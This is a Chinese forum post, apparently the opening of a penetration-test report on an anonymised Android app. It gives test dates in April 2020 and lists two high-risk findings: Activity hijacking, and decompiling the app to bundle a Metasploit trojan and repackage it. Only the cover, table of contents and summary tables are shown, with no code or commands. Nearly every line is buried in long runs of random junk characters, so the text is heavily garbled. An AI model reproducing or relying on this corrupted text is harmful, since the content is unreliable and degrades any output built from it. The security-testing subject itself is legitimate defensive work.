找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4715|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
# \# T; Y6 j9 |$ W . I) d$ Y( Q, I+ g1 r: v

' _; h1 t% z$ S7 i3 |* Y ) c) ^5 m$ U% G8 i' Q& u
% ~" [7 {- p$ w4 u+ L$ u9 q: z 1 e% S! j- c1 N! p' T4 b2 O

2 m6 v2 b4 I M3 ]1 _9 { 3 o/ k5 a$ W0 S2 R+ o9 u0 G
$ ]! _1 x; v1 t2 p# h8 c2 S, m+ ^5 L5 \4 C7 |

! X# D9 @; r l. @5 }: Y/ l$ s , ]+ v8 K, i! L# f9 p 文档编号:                ( ^9 Y0 K" G( G7 y( H' [0 f( U2 q$ @8 b$ y

3 J) ~: X: A3 _: N + H9 i' Y4 @# I7 I

8 B1 l" X- j. `' B# f: E2 \9 X' J" ?+ M# Y) y) @- G! t   # \4 {# @% {6 |8 P, J3 F. h. X . ^8 z( l4 b0 m) s* w9 c

; I4 \; b( f; g0 N" x a % ~" F# H) @3 \0 g

9 r3 y1 K( r& w- K ! H7 Y5 C( U5 @" c+ {9 ~   % W6 ?" h4 e2 A7 [6 y . H0 a! {! r" G

- W) |" n4 b( |: V' L0 c ; {; Z- g2 k' z9 H5 l P

- `) t# ]) `+ `8 P2 Q2 e5 O/ x0 P9 g; a+ Q: ~! d   8 Y c' ]* n! |3 Z . l0 n2 J7 [4 |% R5 S' l1 Y2 Z

2 f4 H6 q! i' Y- p# _% \& c; e' _ . e) q7 {: e0 f' x" W) F) o

6 p4 r, y, b. K& E' {# X3 p 3 T' |2 d1 K1 @" B) f. R3 {% P   . `- o. O3 J% o7 R Z% Q; q" \) L# D7 D0 d c3 H

, K' x8 B* h/ O0 g: w, S% z/ i" @

; b' ]" {( d8 h # ~0 L. D6 U C+ K9 U/ b   & E3 j0 H9 w3 l* n& }) A% s4 Z 2 W+ e8 z% h/ d6 | |% I3 P

8 t( b7 U) A$ h' G! L: g8 G3 Y; V( m* t! C) X; r7 k

! w* Q( ?& Q1 W1 b% L+ w* J1 L4 ]# W# C+ W( E 某某某APP渗透测试 $ D' _$ l& h- J5 y6 B* Z4 M$ c 6 N, X% @. X7 w; [ u0 ?" f# j( l

$ l, X4 Q( [( v+ e$ X0 O- |9 c1 z' r

0 C. Z3 z h: v t4 v) t" ?: } 0 ]( F6 o/ g% X# n: K9 }) B   ; J. D2 Y- _7 `+ {. a# { y , Q. u1 c- C s% C. O% I- L

# \ n4 J& f, V2 ]: I$ E ( u$ @ W4 j: `6 m6 M

$ L$ X" y3 n8 @% V0 C. S; l+ h : m5 y( q% r `: ~! i   0 j: d. s( D% G- x/ g _% B& `9 q+ a+ z1 C7 o

" q% z7 W5 }: P! F$ T' d6 w& r# u1 A6 h( V- R7 M

$ i# d& k, ^5 R( n # O h7 Y) P! [2 f# C" g- E( T8 {   8 d1 `% V/ T7 U d w' ?# _7 z0 {; p/ D. d5 N% m

8 s, b( C/ b' N9 w4 P; H- B( B$ q5 `: ]- l. s, E) m/ I% `# Y; ~

* p1 h8 T6 {: U2 P 3 d V4 K$ V- k; R   ! G( ^* H' M" h! X + H( Y* A; B6 m+ Y2 [" n/ o' I

5 [3 g) X; s ~6 a) r2 B. f# X6 N" g0 @; S" I1 C

! I! A0 _ X$ H% S/ Z! j / u1 N; d- ?8 X) Z/ H2 n5 e) d* N 技 术 报 告 & W6 l& ?+ X- r) F; q ) J6 m4 C7 P1 d$ A

3 Z& r! H2 [* [+ k5 z7 Y( J ' a& Y* M) F4 x6 x3 m

& |- Z) l& i+ X- j7 ?0 x; K 6 \* {; V9 _0 J+ ~7 d: T   " F7 p' `5 N! D) S2 {% V$ \; h- i ) n) X" n1 l4 H! x, P: S

' E+ u3 f: h( h8 s " C" o# B0 ]4 n* p

/ ~! z" C3 w" Z z0 N 0 E# f' F4 v0 l& C2 C7 {. R- [# k; G   5 B7 o" G7 l, [ V1 b/ e6 g% ?& }( N& m; \# K

9 r7 ]# S; o6 i; N1 X8 R: r, J5 }/ [/ Y' [8 O' Q) }& m$ ]6 K7 K4 y

# ^. }% u8 f) u* i0 w; j # l9 U- j7 Z2 N) g9 |- ?   7 c. W$ N3 \/ {, O. m! T9 ? 4 `# n: q5 H/ a0 \& Y2 m( x6 h& i I

- ?. U( p3 J4 e% t4 n' r + N6 z% b8 G+ Y5 x3 E- w: R

6 s+ I2 ]1 \( A6 Z( Q. R, Y& F5 g. t% _2 s8 e% V: C* H5 m   % q+ O: y6 L% c. W, v, L 1 ?, L0 K3 W, E0 m B* R0 T

4 S/ i9 ]3 E b% v; B, @) ` ]/ W' N% e; M. `$ u8 X: |

+ v: Y% y- _: l. y4 w S 2 S2 c$ C. z0 n$ U   * ]8 ~3 X: ^0 o9 R6 J6 Q" I ; ]% n. p" ]( v" H2 Z

. q# V6 Q: R" U8 L3 J2 D ( m1 M: m1 s2 Z! E5 U

. y. q& @( @ K9 q. O1 F. w2 k * X n: E6 }- S! F* r% a$ a   3 v$ d. c n+ r6 L! d, I6 s& L) ~8 B- G% v5 u* } \

h# k x1 @; D' ]; d5 g2 E1 B$ }5 Z1 F" i- T

- l/ r* G5 I" z3 P+ ` + }/ g8 a7 m' V   1 W9 y8 f$ @# o3 a& X 8 g- D( D, j8 f: ^. n; }5 Z

. x0 F1 X; o9 y: p% x' W5 ` 3 ?) S2 G8 z S& c# f7 D

1 f4 A4 t9 H) y8 D - [2 w+ D8 ^6 |! g; J   4 L( C3 ~3 p( q# o) f; q1 w7 Y6 { & M& M/ `4 c: s; W

. K+ `5 j; k7 J {2 l: z ) F) {$ u" D5 u" n; Y7 P& J% G1 t7 d; M

0 h* E" _$ M( @ ' H) m/ H( v, s8 Q* V   ' d, r2 E. j$ H* M3 v/ }& I8 v" h7 i" c

4 _8 t6 P" N# ^/ K1 g9 B 0 W& T4 R- T4 L' Q

/ }4 W% o9 k( ?8 x. j) f 1 A6 I* |8 g4 C. u   : |/ V+ V4 @- e4 y& z& j9 w4 W , }" M& o* c% A+ o

4 I/ _+ r# r8 n+ Q' o& o! h2 D7 S' D5 N, K- K8 ^8 `6 N

3 ]* U! q5 A& @+ E8 i R3 n9 p0 l \5 I   5 O' W! H$ q; \' o( n * r' k0 Z5 B0 j* O0 i, f( Q

8 \" `1 {. T. d, d5 W2 H # q0 {5 ?; @1 t3 _) T, J x2 O

+ y$ `' g1 V M % I7 u- W O4 D3 |2 X9 m i% i2 Z' ^9 v   P7 ^7 m* {/ _ 7 P; T2 g5 T& l" |* a* b% @3 J" l

# \( B+ n: I# q* w# K- {$ v + {; R$ R. K5 m' q5 |" c

V0 Q" g7 D- O4 D& d0 U3 q! w9 s E+ b' J2 I" W. i$ H7 @   / S; \; L$ i- ^! D! W8 F) J+ | 1 o- t& |9 ^, r t

! \) j) \6 }. } : l* @$ Y5 t, m- D1 l; n

1 L; i* A2 ~- V& E! g4 t/ Q " b5 }+ g4 [( w, _% V   2 M/ X: C5 L) I" `# u' j, w& r C- I; ]% i8 |

" H; a1 X/ G/ ~& F& e% j& J7 J8 Z! @6 {% c4 v5 `* q+ U5 B! H

* B5 } G7 v9 t$ ?: L0 X& ^* r 5 K( Y2 p7 v7 y: L' r   . J8 v( s% }. }/ _+ P. A3 V. [* u P& S3 C9 s

/ c. G# u9 I; y( O$ l 4 P( c( X6 ]9 d! M8 x

' [ g0 K. i; }8 P * l8 m! r& Q6 `) v8 T1 v1 c   + B: W' w$ B8 v9 Q- q$ q 1 P5 s8 z( J- R: q5 O

# n: @- z: z0 M - l7 w' t J2 v# P1 V$ s

7 D- p& G- r# U- k2 a- O . |! P9 c C" X4 D5 F7 |   8 f' i) f) P5 p 3 f! t8 I2 N( A, f* o) ~9 X9 Q* [

- e3 U( j1 A( {+ Z# S 0 ^0 `5 o3 o/ x+ q8 a* I9 P

3 @& P2 C% V" f: N. I% f5 P+ a- \1 F6 W+ R5 Z: U. M& ]0 K) X$ e   % r& q0 G. @* k$ z0 o8 l2 d ( s9 |# x1 r+ S- L

& z; x. |: T4 N - Q+ A8 m# \% t6 c t4 K

`$ S7 z/ ?$ y# n& k1 F$ \ " Q7 @" i8 {' {7 l 二〇二〇年 " v! _7 k4 d2 ? " `/ `% l% J( S& u, I# i1 u" g6 B

' t0 Z% z" p* w% }) k1 G+ {; B1 q6 q! J7 c" d" `/ {9 s
) e# R; X" D+ V( l u5 |/ X 4 R( l* Q% e# ^ |1 T
3 V9 L! M3 |6 v+ x2 Z8 h2 t2 p' v $ h- y( O* }/ J
[" F% c2 J' \9 X1 H 3 c' Q$ |7 q! L9 T% Z
: e- B; e/ A' a4 o6 o$ W& @- O0 G( p* \; ~9 V8 K
. {& @0 Z/ g' c/ F( K" ] 0 ]' X N, K6 o! p
# _! f3 H) Y7 N/ Q' _0 n8 O7 G ~# o3 i9 R5 n
* F- r! Q% {' k7 O 8 _2 k8 p8 Z4 a& o; G( W
; j2 k+ D X: V( ^0 f ; |6 a" [. v+ g1 j

+ Z$ G/ D" [8 k' z. E* t6 u' o" R' }# f 目 录 & g! |: |* Y) s: T. L# w% O ) e5 e$ T% q! V M

- F' _/ n" t1 u9 m: d - Z q% a- X3 N+ U# Y 8 N3 @4 K G6 h0 f 7 T& X3 V6 j* z, D- ]7 K: v

( B6 c' N1 e$ o! o/ r( P0 k5 i ~/ R8 k1 r. Q) Z$ K/ g   8 O- x# o) N3 |" r; _6 D2 A, T % b) F1 z0 S# O0 ?* A& B

8 U4 V. E9 [" | y 6 ~. w1 U1 N! m

0 F3 Z( k, i: h8 i: N# ? 8 G5 Y; _9 Y/ a1 _3 S' s3 m 1 概述... 3 * W; [1 B+ T' [# v( z# ]7 G& \ ' n) P! a+ b* I7 g1 ]: \

# H3 W8 o& P( `6 C. ` % q! k/ I: p( U

$ c" y2 p; A8 u! r, U2 l# O/ w s2 u( a 1.2测试时间... 3 1 |2 |* S O- Y' {3 w & [+ T2 I/ i @* S6 P3 I

$ f3 G; p- D$ o+ P . d6 f/ B" a! B A: W

Z# G; W6 r* C& S' k' `8 V' @# c% }9 d3 ?/ G 1.3测试对象... 3 4 g! N9 w: N# W2 X% ^1 s; F; ] 2 n8 i- C d/ o }1 w& @7 W

+ P1 t0 b$ E( W* L( z3 A5 i . S: @. p6 }7 l1 T: I

* G" i& J/ d# e6 ~% W8 J. s' |* Q4 N& q* G 1.4测试结果... 3 9 C4 h9 ^4 H1 n) a1 v7 b; n3 c # O8 I" x: A2 n1 R' Y

% f2 l- p5 R/ p6 y4 r [/ q+ }, l; e$ b" q- \8 m

7 f; N0 F' o+ v# O- g0 @5 E5 w& |% |8 O( D& | 2 检测结果... 4 : B( @( ? a4 m4 B- u& n) t8 B + J8 v( M$ i7 _8 A1 Y- D4 ^5 l

~! w) _( U8 Z* p8 e5 C- U e7 W' x8 o) F% G& O

; [, [# O- f6 J. O) h2 w ! f% ]8 V; }2 s 2.1 某某某... 4 7 o2 f6 h) v& o8 S0 _; i& d$ ]2 s. O. K0 D& B' ^

0 s4 h1 I6 M9 E+ P% @ : y* v& x% D- {3 N% X" a

. z- C$ [ c4 j9 e% m " X/ H0 i, P0 }0 p a 2.1.1检测目标... 4 ( I3 k; G+ k5 M! ?) v* l - J9 F; C9 _) u5 \

+ i; D2 o3 u" d9 E' L6 M$ Y0 w% Q: q5 P/ f, O' A* c: _% }

4 f" K. O% W; M " B+ d6 F% `9 J0 v- E A- w: y 2.1.2检测结果... 4 1 Z8 Y5 ]9 a ^% F5 ?) v$ O 4 P' W, U; W' l

O7 k& |7 {5 o U. v & D6 \# }) z4 b/ D( w1 p0 \

; [! |/ z4 @3 c. Q: | . a6 q; s- l) s: @5 D/ Q; d: T4 W' B4 j 2.1.2.1. 4 : @' \3 r0 Z* c1 q, o 5 S* v- K3 C6 o8 l% d2 g3 u

/ |/ G7 m {' m' m& [ + _& r. t7 ?7 P0 r

9 |. j1 b: t% Z% g( ~" K ( l! D' h" E% k 2.1.2.2. 6 5 x& e. a1 ?; U r7 k2 t% l# x; C% g

4 N$ s, e8 u/ r. ~' O. E! N 6 T. t" X) V0 i6 W# A1 i4 f

% Z8 b; B7 M, u! x) X/ T1 D1 Y* z P% b' p( ]( R! v ) A, s; v, r: c; P8 d* Z 1 F8 p1 a* v3 e# p" a2 k

% I3 p0 Z k3 c7 a& i I $ L1 K' ~7 ]+ Y8 H: f
( {: d' h1 Y' N& {1 ] O3 t / V2 ^1 ?' t" B) @
0 N% }1 D- ]- T) h/ K% p' F2 g : P0 o4 P7 f; d
3 T3 z- q& Y" w+ v' f; w/ {5 v1 K5 w1 T2 h/ G
8 Y( f" J2 z o9 m/ h0 V 1 n+ v, }* j# ]- j6 C8 {

. G, V6 i- M) P8 X T8 h. f: { % L6 P% ]; ?1 H0 j: l. Y 1 概述 - e1 |" o3 ~7 ? c' R$ X 1 |; l( Q* s' F3 S6 ~: n

0 N2 q" p* z1 W! v& u$ P/ x2 [! H7 X$ a1 K, \5 J

; m2 T7 L. `7 u" L& z- s, A* H & y7 b2 y9 o2 B# p 1.2测试时间 " _0 P9 d7 |9 q 8 o9 L; J4 Z% \8 {6 f3 j! i, f

- f* n/ y3 ?5 O7 i. z; s/ @4 Q- q: f2 n2 F0 \+ F : q0 `3 x: L7 m" k% A# F2 h5 Y6 b+ S, q- ~: m. E9 m! O1 [$ K$ X3 T, C$ P5 p3 c% ^+ J9 u8 Y! b9 w5 ~( }9 y( Z1 F4 h) J& X, z/ n: j( b2 Z$ W0 r0 B% E" E2 \5 h* y$ Q+ O: U/ c5 o( H3 X9 n8 v3 P/ P" o1 e7 C" }* O/ g& s2 M& Q. M$ h7 O" l) W8 z8 @. i% N6 D& Z$ a _6 T9 O6 i# k& B7 U) Z- {& i8 h3 q. q$ V8 o% M8 r' Q; w# b+ ?8 i; |$ n* T1 J$ G: f& F/ F8 d R" |- {" ]' f" y! ] L" y" L6 Y# M8 P7 c$ d. }7 L& ^' F& u" b' a/ F `4 U! W% G: u9 d+ _ i7 U; A1 x8 G; v( k+ C* e6 d2 t* j5 q; }: O5 a3 r7 Y X1 o, V! k( [/ H5 k0 s% Q# J7 t6 z" k+ L i @0 ~4 X4 U0 f/ ~2 E/ O5 `5 t, {0 ?9 D+ d7 P5 J. U5 O( ~ G6 e, z4 c& b; h) ^$ S- d4 a" ~, v
; y9 G: a& h- s2 A; l9 o, |) M0 ?" G' Y8 E2 V

' r2 F" X3 d3 P8 b; N* j % s2 {7 \: \# t% j! f+ ] 渗透测试时间 . b( D: K; P& V' T1 x) V 4 f2 P) z# X1 [

; s+ e$ `6 ~3 T; t# [/ B+ n3 Q% f9 }# r k
9 ^7 R S- h y+ ]# I5 d: Q% Z ( K! k+ ^; A; ?3 x7 z' {( G

) ~- a6 j$ [! F. g; y _- n/ h6 ~; A- E 起始时间 |4 S4 w: S& q / b) D) G$ k# I: s3 x; q

$ C# `: g9 g* w6 o; W% ` 3 r6 [; s- S3 F" y/ l) D
: s- s- o$ X, E8 I $ G; }' w" n+ o$ B

8 s, ?9 X9 q' W+ @9 C5 O3 K( Q9 s ; B& C8 A0 F" R# { 2020年4月6日 - b5 [. M- Z' O% w+ {( _# d# @. j1 x4 f1 g9 O+ ~% _- v

0 F; h' A( b$ ]2 ~7 l0 l% N6 B: M9 y! D$ r, L
5 \: u0 r! D% v/ W8 q3 Y: w 2 [* g& O( k: }! c

# y, z1 G8 K2 S+ B ; X7 ]- y0 |1 m* H 结束时间 ; g R1 f. B( E$ g, V $ p d+ R& S# e7 Y0 j5 u4 S

- i- Z' S( ]- J) E$ F" { 2 D. e& ?3 x3 L6 T) O
+ A/ y0 c0 T# L" A $ u; o# X: _& f; w6 B! \

3 m) v2 ?& @1 c" J & r0 C8 y+ w2 c. `* F A3 {: p 2020年4月9日 4 c: s! {# H5 P 0 [* }0 h% C# r# b7 ?3 p+ Z

( l5 |) p! t1 C! {4 u; e9 m" ^9 _4 ^, j
9 z% r# d; h6 O( X) I0 }' K2 y. [ / m% C8 Y7 T6 A( ]

7 A" z" m8 E9 _ D3 i/ z0 \: m 1.3测试对象 , F {; O6 j/ T$ e4 ~4 _* x6 [: y " b6 O" C# Z, |

& {" |( ~* h8 [7 c- n6 a 6 l6 V& f4 ~# y, ], O6 x1 H+ X" M

1 u$ c( \ D# |. \; w) G0 v ( M4 S* ]1 ^$ [# d7 T. a1 p# g; p# r 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ; ?! W- C& f7 w$ o0 H5 D1 ^ ~" q% }# T, E4 O2 F/ S# Z; S( e

& a+ o; Z! f4 |0 R + J8 |+ L( L' ^, r. ]/ D

" _1 C+ N- f1 k: v4 u% m 6 K! {% e% Y: K1 i1 E7 C 表1-1 检测对象 ! K9 P* L! ? u# H# _! u* Q / N; u! h4 K, f' e, u6 U

( P$ W9 z% [6 A5 y) p: C- B0 x : W) j( F+ E: j, ?& @$ _- V 0 C& x# o [ m+ w, W' I* a6 S7 } e3 n. Y+ R+ X1 N% O8 P. |, K. M1 F/ y3 ^* Q/ F Y Y7 C5 F0 @4 A6 G5 C; ]" L c7 b# s4 z# [9 t3 M6 A; o4 r* I; J6 o* s% b6 {+ Y }2 x, W" d! c$ i; s4 Q3 O& v; j5 G# S8 e/ u# g2 t* |' `) V! `' V$ a- z; C, A, X, D1 r) z6 L, o+ c8 W4 F1 P& t* M3 |' [; F. M/ {/ m6 y: x: F d" L y3 ?2 p# C! K$ t5 A$ d* M$ j' W9 f# A5 Z3 W7 r* M" {2 ?/ k8 e- x: K y8 V5 w- k" M! K3 ^6 ]3 S* w4 @1 e) U) D" v* A3 D. R( i D, C$ T, b4 e1 Q* f4 x& d$ i; a' J2 K7 e) y6 G5 O. Y5 _* S" m% _ O% i5 }3 Y! i+ I. O8 c; h% ^' |6 Z5 ~* ^% z* ^- k. C7 H: h$ V6 c" T0 _5 q$ P) H& F% I/ W5 E9 ?1 b d, t- H9 y% L0 y; O" R+ r9 N& X8 }: I2 ?( \9 c H& S. ~7 e; ?1 _2 B1 E% T b9 D8 x: K8 c+ k/ @! N5 }+ x( Y) o; { Y3 W4 j. @3 T7 L6 M. g" A8 O7 }; y$ E: R
e9 T- ?- t, X7 F6 \4 r ( {6 ~) _5 b5 g

2 B+ K+ ?4 W2 l . _9 S+ `6 w6 d! x 序号 3 R- H% \7 m' ^# P+ f" U! ] * Q6 g0 w+ K9 V; R8 c

' |7 {! Q3 K" ~: O D! w ( y: o4 c/ J7 H& G! r
* L$ L B. l8 D1 F1 ]& e( Y 5 s: y( P! F z

& H8 `0 ~( v5 k 6 n" t# ]' q; \' N7 ^. f& x 测试对象 & U6 g) B3 q: d; M ) Y- C& q$ Q; I# N8 h4 P$ h

6 m& `; O% h# B( e% j& O: ]7 B b/ ]" l3 w* ?: a2 o
6 h9 N3 p9 k! v$ {& O+ z4 O9 L+ Q - j' s, T' P" ~; F

3 Q; i2 x& L% m6 L R4 O$ T, K4 k) M% s, e: l 测试地址 3 {8 R$ k5 v! j, V& a8 r: Y$ u0 \9 @5 T, y

; F3 N2 j L# @- p4 w4 s! J+ w7 l / s0 z6 S3 b9 q" ?1 C$ U
0 z$ o4 q: a: `" B% ~) _: i6 m7 d+ ?$ U/ a

- U" e- |' ?3 }4 n6 x; O6 }, w i. b 安全漏洞 5 M) v! k& {* e( e3 Q; l& ^7 F9 n5 J

5 N# P, a$ y9 r. O3 p* f& b & z5 N( a1 M) q6 [8 W
. M3 Y& j! V% }6 o 5 u" o& i% @. i/ i1 N }" C

: E4 M/ S' |" K ) C0 z# j" [" h' _ 1 + ~1 X( f, _. s5 n . S& {+ j4 {0 t9 C

U$ W5 Z/ | C2 k4 _ , R# v2 y8 B4 h: G! y) P- k
& G1 v! l+ E4 r; @6 { 2 n2 b% c# @& v

) G1 F, h) |1 p, M1 v & c @% r) f( }- \! k; I9 C4 k 某某某安卓APP $ l0 [7 L; g" V% ?6 j. m; G- e0 Q 5 x# {' [# o' ~: q

, n4 ]1 N) b) J. [ . e# L7 S& @ @' a1 A
2 q/ |# }' L6 p# n% J1 q7 ^ 6 _* M0 A* I4 H' T% y

/ V H! M& ^+ ~2 O+ Z 9 `3 f8 S, X/ \* t   / s; Y- _0 M% n1 j& n* C. |& H- e4 w- j5 h: r: T3 |

' P; V* |* `: q8 J$ @. u! k % D8 k7 T9 l b8 ~) [* N2 U, J* j8 c- _
! x% F! r% V4 m7 b( y5 I0 k( Y7 a) G2 f

- J/ y" Q2 O) X, h$ b5 S2 W$ p3 r* S ; b3 k$ s+ u' S! ?, h 2 : @6 Y9 c/ X! E ( c" x2 x+ s& Y

, v6 P2 Y7 j0 [( s4 C D1 v2 f8 A7 N" ]' D. I
! S+ H U5 M( m+ ^" ~ i8 K; J( R! z _" j! F4 \

c2 B- I2 V. _; d % e# y; R" n2 [ `3 d7 e& P+ B 1.4测试结果 3 [" v) J$ G6 q/ p$ \1 I . n3 H+ n) `1 E% |; O

9 L6 H0 a# G+ Q! g- ^! a8 R) l( @2 s8 b, P# h9 u

* `; N8 f+ K& @4 A4 M8 g* H" m) o 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: - Q7 G1 L7 |" l8 [8 R 7 Q2 K+ W# r9 z

9 J3 q3 k* j, }# w* c, c( b: n ; l0 N" {' O3 N! _+ \, O, K, o

h8 d2 }3 E4 q" W. o1 H J ! e! ^+ z+ p0 [   ' e9 V: F9 y7 Y- S) I% H& M2 Y# G/ u9 l1 S# s n0 {5 c7 c

0 X% N3 c0 r+ u \0 w4 I' v6 d2 w! L6 X4 R" M" Z
( c7 f( ~# _- J0 Q' \( D8 G4 ]. n8 X3 F; P, k D / n7 a& l& w g! |/ X& e& D8 U c8 }/ ~( s7 t; c0 o4 d; }- _+ X e% B" Z! N. i* h0 i; u# i7 n) ?# E- R$ y6 K* W: _/ q. i: Q" Y( x' H4 G5 Q' \2 o# H* o( V/ n5 `# k7 `! G6 J$ k4 O' ~5 K A- y0 O( {8 ]8 X i6 n* G1 q1 e2 D" Z" R# B: D' w- u3 A+ i7 j8 `3 `3 C+ h p( _! `7 \; w% n' r* }4 y7 n9 N, c6 [) K* {8 S a/ K5 E. E- V$ g8 e) m& G+ y# Y2 V( ]) f8 T8 a# F) u( B9 b3 M# e; `$ |) X, m9 o& }. C, S0 @' c- t7 U& r3 z$ b! ^( }2 ?' B, \4 n4 t4 `; g8 h4 K, A4 l% F. G# y8 C4 ~+ i; G& h/ t7 n5 ]+ A2 s3 {8 O$ ?# [6 {5 a# C1 n' T6 N; O+ Q3 I4 s6 ^3 F( K8 `" [; B6 I: W* l9 O5 [& n( X2 A' b% K/ N# m: V% ?1 c: \$ G# w. r$ ? R' d2 ^" a# x3 h( f3 t9 O: A6 y8 _5 h/ N& D) K7 P3 Q6 n3 Z. ^( L6 f8 H7 g" C$ z) N5 z. r x( U: A5 \% k+ n4 n' G. {; j7 F+ v0 T' Q6 L" s5 G3 w& n% m& [6 ]4 Q6 r8 D7 V1 p9 C3 I- v, w, G2 c0 L1 f3 S8 E8 u! i4 [4 E: j# E" v$ v! z# i! c2 P- J. Y8 u0 ~1 C2 h0 B, d/ y- }- t# i. N& D4 S1 p. D. ^+ i6 A s9 F0 V; ^, w/ X0 Y4 m( v( A1 Z0 c5 R$ F7 Q1 {. E7 w* b/ a5 k G+ k7 e" g8 `" M& b- P+ S. P" f2 Y" F3 T$ n* [9 z% [% ?" L, a9 @& E% Y/ H- M- b' q3 F, O- n, U: H3 H! d9 [" ~8 S! i! N _( h( i* R0 }/ _, I% v5 J6 ?/ I3 J/ F9 a t
1 Q7 x# R* z; P! o; d4 b( e & V' T9 M% f8 ]+ I O e1 o7 G! o# Q

2 \8 q) K5 q0 K" K8 `8 t* p# U; T7 l2 x3 w4 I" ~* U& g0 N& B8 O 序号 " e$ {# ?& D0 R: r 6 B3 Z) g8 n5 q- f

; ?6 b$ L9 |! d7 V( U O$ v) p8 v) d % O3 } D; _) x
! L$ H' Q' a* U2 L! ^3 e $ H+ K( u( ~1 P0 ]

% d0 \1 J- i$ z" Y8 { V & j, P! ?/ j0 X- {7 n0 a 系统名称 & _3 H" }- D" \ [4 r" Y: P, U 9 r( q" `; d& s. t

+ P2 Q7 I: r, e Q: S8 X + i# T G1 r" g9 g) i' |/ T( ?4 q
" W) x9 P) N( p6 h. s& `6 k , J6 K7 d$ J4 ?; z

$ Q O0 K) o: f7 |( ^ % B' @" V9 k; A- [% u5 J7 F 漏洞名称 2 e' u9 T6 g Z; ~' j3 p. z2 Q / G+ W) g; ]( c7 n) p& g

1 }, ]9 t5 [7 W# c7 c/ p # B: l( z* ~" u
2 Z- W6 q$ \, ? N 9 c+ N* {4 B8 n8 p- k, L

8 T' _1 }1 I) A$ x - S8 T m V4 M' O! _! y) {2 L 漏洞危害 8 E/ `2 t2 \ n* T3 a; U! s % V, C& @. H/ e+ t$ s/ {

) w! ?/ Q! u" N% ~8 N* u- d7 j( {/ m; D C4 M3 K
: k7 i" }7 N& h) X) m0 i 0 O" f0 x/ @) i3 L. k# N

# y3 Y: \$ m$ Z" ^- U5 ` : C! f+ Y& X- X. `5 R 修复结果 6 \; O( P! {/ Z z6 [- T+ ^5 `' Z

9 }: z6 C: y4 W$ T* |$ A! [* {- a* Z+ Q% R; [3 V
: E1 d2 {, l; V; s8 i/ z' `9 `/ Y+ | . A; X* B2 N4 C7 a% {5 c; U- }

( R* m' O2 F1 v+ j - h% H* G( _) P. m 1 H% n, G; W, G/ o- U2 V / W% K4 Q: }2 p0 O& g' A8 h) G3 B

+ Z4 t8 h) w6 a' i: l8 I1 O 9 O" N5 ~6 J- {0 q- `4 Q( F4 \
) ~* q8 k! \0 d% ]$ {6 t; F6 l; H' f4 {

$ [) ]3 c- ]3 [' P% N2 r+ W! g ! Y$ X o( A: b: C6 ?7 u 某某某某某某APP ' ~3 Z' E1 f0 u: o2 X4 C6 Z 7 q- c; Y, m% m8 ]: R. y# c

# }+ G/ s% f' f 0 [# G8 z4 E8 s# s ?2 Y
; \ K4 ]7 R) X! P3 g& r9 h, g ) f8 a' Z3 L6 C. m

3 F0 g4 O' t" N& ?! T% ` 2 j( j* L( Y# ?6 N' W3 Z Activity 劫持 6 s2 e% y7 v9 G; x 5 M V5 V. R: `9 y2 m2 I2 ~

0 u1 o9 P3 n8 S. E& E1 {6 x6 |) }" E L+ E- T) C* v

i% }7 A1 c0 Y" `4 ~' G 8 P( U3 Z4 v! G- i: Q. `/ g   - n/ u9 O1 {' n / B& o* G% u/ Q+ c2 T

# X8 O9 F; \8 M5 y, i" H9 R5 C% Q
) L- @7 S% Z+ f& p1 L# u, w: F8 `: v, _* b

6 D- v2 Q, g3 h; O6 h6 e1 S1 C1 t# q( L, q 高 8 _0 [$ P9 E F D ; m' z0 {" `: p4 W2 P, X

! K/ p& o+ ]9 V2 |1 ^! ~8 J" @ % y0 R: K& O) @/ X: m/ h7 }
5 C, A& |) C% V& l% a6 Z3 Z$ B 5 d3 D+ F2 o5 n8 K0 Z& D$ ]

6 S$ K9 i ]- f, Z ?( ~7 ~- R7 v   6 D1 N- q" t7 b8 w 8 M4 E& m& E5 V

5 g. Q, i% m# C8 d# P8 C: i) G; m* t
* E- H4 G( x. \ V: \( t0 c' J 7 Q0 c4 K9 K, `3 z; p) {

4 @# h e; u7 F | 5 H; Q% u& ^& s" E9 x' b8 @0 b6 W* l* p 2 . h" q8 @8 ~7 F. u1 p) q' J ! i" j- V5 U3 l! x7 U3 e( k

+ z6 A1 J: M" V! f- n$ }6 H B% S. j 0 i' Z! u, H% U, _: s
8 J; Q7 A8 R- f5 Y# T* t1 z, I4 d5 t' N8 a0 o$ k

0 ] G: v9 D* z; Z- h; I( x% ~) d0 r; g 某某某某某某APP 5 U9 ]3 c, q/ X C$ Y1 g8 d% u4 t/ K/ w; d3 J1 B

' \- l6 I: E) ]0 G 7 d5 I3 V( a7 w" X/ t( _
6 r# {' I; Q1 f0 d9 |% B% B 7 e' Q& e! M: _0 a+ S3 D/ u" O% t1 T

U3 @! h: y; n ; I O# c' y, q! [ 反编译二次打包捆绑木马、篡改APP代码 2 y) f/ F8 q% k: ^: v4 @7 U 3 J1 E& d% n5 l p

6 s- d% i" d0 n7 K# Y$ ?$ ?& d5 N0 P2 u+ B+ V% {
# \ l! |# |$ j4 B N- Z- z4 E: [# y1 X! S* P

b6 Q4 R+ W* I' J; ~9 N / G6 \5 {9 v% I2 z 高 7 F/ p1 @! T. [. ` ' s, `0 z$ z3 c, V0 S% o+ g' c

0 @6 ?( m2 o+ _5 [: ~% J' B1 C$ e- x- N' M$ j3 W
3 m! S5 q n: [ 5 Y$ }* [# v @5 I) C& P7 T

/ o" I4 Z# ~% l; |& U) E / |! f: Y5 @: U: c5 j   $ @5 f7 | y' }. c7 f/ R+ j4 G* O! M+ C: k& p8 Q/ G# D

- V+ J+ M# r6 b4 P% r" N' i) T , e0 @: y* h$ @3 O$ D$ J
8 I$ x3 X I* x3 I9 f T2 [& E# |3 H0 \) J
w& ?6 J/ w$ u, O- H7 E ) @9 j5 X0 Q5 V" ]

3 n7 ? a8 Y% [ X J; l& d& e& t& c, L# } . Z& [7 @ i1 o   8 X; h* K3 a5 f6 @ " P1 v2 U, h5 T1 l3 w- ]

2 _1 p4 d9 ?, t0 f 1 x0 ~7 {( b9 o; {

9 `% b# B8 I+ n9 _ 3 ?/ M+ [9 d3 M 表1-2 测试结果 9 n. e) d. ]9 c, \' F) f% }$ \' [3 V

